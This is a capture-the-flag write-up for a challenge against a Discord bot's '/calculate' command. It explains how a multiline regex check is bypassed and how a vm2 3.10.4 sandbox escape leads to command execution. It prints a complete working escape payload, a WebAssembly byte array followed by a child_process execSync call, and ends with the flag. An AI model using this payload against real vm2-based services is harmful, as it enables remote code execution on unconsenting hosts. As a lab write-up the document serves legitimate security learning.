Il y a un bot sur discord et vous n’avez pas encore de RCE dessus ? Quelle honte…
Le périmètre du challenge est le bot “MilSec Utils” disponible sur le serveur Discord, ne conduisez pas d’attaque hors de celui-ci. Pour la sécurité du challenge, nous avons restreint l’accès au fichier .env du bot. Si vous trouvez un moyen d’y accéder, merci de le signaler aux administrateurs ;)
Pour cette seconde partie, récupérez le flag en exécutant le binaire /getflag2
Analysis
Overview
A bot is available on the event’s discord server. It provides some commands:

The first part’s goal was to read the /flag1.txt file from the bot.
With the first part, we now have an arbitrary file read on the filesystem of the bot. Now, we need to find a way to execute commands on the system to execute the /getflag2 as asked in the description.
Source code analysis
With the file read primitive, we can now dump the bot’s source code.
In the /app/bot.js file, we can see that the commands are loaded from the ./commands folder.

Looking at the source code of each command in the folder, we see that the /calculate (/app/commands/calculate.js) is the most interesting one because it evaluates the given mathematical expression in a sandbox.
The code responsible for the evaluation is:
1// [...]
2
3const isSafeExpression = /^[\d\s+\-*\/\.]+$/m;
4
5module.exports = {
6 data: new SlashCommandBuilder()
7 .setName('calculate')
8 .setDescription('Calculatrice pour les challenges de crypto, vous en aurez bien besoin ;)'),
9
10 async execute(interaction) {
11 // [...] -> Affichage de l'input
12 },
13
14 async handleModal(interaction) {
15 const expression = interaction.fields.getTextInputValue('expression');
16
17 if (!isSafeExpression.test(expression)) {
18 return interaction.reply({
19 content: 'Expression invalide.',
20 ephemeral: true
21 })
22 }
23 if (interaction.deferred || interaction.replied) return;
24 await interaction.deferReply({ ephemeral: true });
25
26 const child = spawn('/opt/run-sandbox', [], {
27 stdio: ['pipe', 'pipe', 'pipe']
28 });
29
30 child.stdin.write(expression);
31 child.stdin.end();
32
33 let output = '';
34 child.stdout.on('data', chunk => output += chunk);
35
36 child.on('close', async () => {
37 try {
38 const msg = JSON.parse(output);
39 await interaction.editReply({ content: msg.error ?? `= ${msg.result}`, ephemeral: true });
40 } catch {
41 await interaction.editReply({ content: 'Erreur interne.', ephemeral: true });
42 }
43 });
44
45 child.on('error', async () => {
46 await interaction.editReply({ content: 'Erreur interne.', ephemeral: true });
47 });
48 }
49}
We see that the code tests if the expression matches the regex and if yes, it creates a new process which launches /opt/run-sandbox.
Regex bypass
The used regex is /^[\d\s+\-*\/\.]+$/m.
The m flag (multiline) at the end modifies the behavior of the ^ and $ anchors. They do not match the start and the end of the entire string but of each line.
Therefore, .test() returns true if one of the lines of the string matches the regex. The other lines are not verified and can therefore contain any arbitrary content.
We can send content like this:

Which will be evaluated and send back asdf:

Sandbox escape
By looking at the /opt folder, we can see that the sourcecode of the sandbox is still present:

By reading it, we recover this:
1#include <stdio.h>
2#include <stdlib.h>
3#include <string.h>
4#include <unistd.h>
5#include <sys/prctl.h>
6
7int main() {
8 // Drop to sandbox user — setgid before setuid
9 if (setgid(1001) != 0) { perror("setgid"); return 1; }
10 if (setuid(1001) != 0) { perror("setuid"); return 1; }
11
12 char *argv[] = { "node", "/app/utils/sandbox.js", NULL };
13 char *env[] = { NULL };
14 execve("/usr/local/bin/node", argv, env);
15
16 perror("execve");
17 return 1;
18}
We see the process is changing user to sandbox (uid:1001) and then executes /app/utils/sandbox.js with node.
This new script creates a vm2 sandbox to execute the given expression.
1const { VM } = require('vm2');
2
3let expression = '';
4
5process.stdin.setEncoding('utf8');
6process.stdin.on('data', chunk => expression += chunk);
7process.stdin.on('end', () => {
8 try {
9 const vm = new VM({ timeout: 1000, sandbox: {} });
10 const result = vm.run(expression.trim());
11 process.stdout.write(JSON.stringify({ result: String(result) }));
12 } catch {
13 process.stdout.write(JSON.stringify({ error: 'Erreur de calcul' }));
14 }
15 process.exit(0);
16});
Looking at /app/package.json, we can see that the version of the library is 3.10.4:
1{
2 "name": "milsec-utils",
3 "version": "1.0.0",
4 "description": "",
5 "main": "bot.js",
6 "scripts": {
7 "test": "echo \"Error: no test specified\" && exit 1"
8 },
9 "keywords": [],
10 "author": "",
11 "license": "ISC",
12 "type": "commonjs",
13 "dependencies": {
14 "discord.js": "14.26.4",
15 "dotenv": "17.4.2",
16 "puppeteer": "24.43.0",
17 "vm2": "3.10.4"
18 }
19}
The code is therefore vulnerable to CVE-2026-26956, permitting sandbox escape to execute commands on the host.
Exploitation
We can give to /calculate command an entry containing a line passing the regex followed by our payload on the second line.
We will use this public PoC for the sandbox escape CVE: https://www.endorlabs.com/vulnerability/cve-2026-26956 and we adapt it to execute the /getflag2 binary. Our final payload is:
11+1
2const before = typeof process; const err = new Error("x"); err.name = Symbol(); const wasm = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,0x02,0x19,0x02,0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,0x03,0x02,0x01,0x01,0x07,0x0f,0x01,0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,0x0a,0x12,0x01,0x10,0x00,0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b ]); const instance = new WebAssembly.Instance( new WebAssembly.Module(wasm), { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } } ); const hostError = instance.exports.catch_error(); const p = hostError.constructor.constructor("return process")(); p.mainModule.require("child_process").execSync("/getflag2").toString().trim();
The bot gives us the flag in the response:

Flag
1interiut{S4nDB0x1ng_JS_1n_J5_1s_1mpo55sibl3}